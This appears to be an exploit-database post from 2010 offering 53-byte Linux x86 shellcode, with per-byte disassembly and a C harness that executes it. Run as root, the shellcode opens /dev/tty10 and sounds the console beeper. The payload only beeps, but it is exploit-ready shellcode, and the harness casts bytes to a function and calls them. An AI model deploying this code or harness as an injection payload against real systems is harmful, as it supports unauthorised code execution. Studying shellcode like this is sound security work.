linux/x86 "high" frequency system beep shellcode 53 bytes

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linux/x86 "high" frequency system beep shellcode 53 bytes
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/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Name   : 53 bytes "high" frequency system beep x86 linux
Date   : Tue Jun  1 14:25:27 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux debian (must run as root!) 
*/

char *shellcode=
		"\xeb\x24"                    /* jmp    0x8048086 */
		"\x31\xc0"                    /* xor    %eax,%eax */
		"\xb0\x05"                    /* mov    $0x5,%al */
		"\x5b"                        /* pop    %ebx */
		"\x89\xd1"                    /* mov    %edx,%ecx */
		"\xcd\x80"                    /* int    $0x80 */
		"\x89\xc3"                    /* mov    %eax,%ebx */
		"\x6a\x36"                    /* push   $0x36 */
		"\x58"                        /* pop    %eax */
		"\xb9\xcf\xb4\xff\xff"        /* mov    $0xffffb4cf,%ecx */
		"\xf7\xd1"                    /* not    %ecx */
		"\xba\xdc\x01\xa6\x03"        /* mov    $0x3a601dc,%edx */
		"\xcd\x80"                    /* int    $0x80 */
		"\x31\xc0"                    /* xor    %eax,%eax */
		"\xfe\xc0"                    /* inc    %al */
		"\x31\xdb"                    /* xor    %ebx,%ebx */
		"\xcd\x80"                    /* int    $0x80 */
		"\xe8\xd7\xff\xff\xff"        /* call   0x8048062 */
		"\x2f"                        /* das     */
		"\x64"                        /* fs */
		"\x65"                        /* gs */
		"\x76\x2f"                    /* jbe    0x80480bf */
		"\x74\x74"                    /* je     0x8048106 */
		"\x79\x31"                    /* jns    0x80480c5 */
		"\x30"                        /* .byte 0x30 */
		"";

int main(void)
{
		((void (*)(void)) shellcode)();
		return 0;
}



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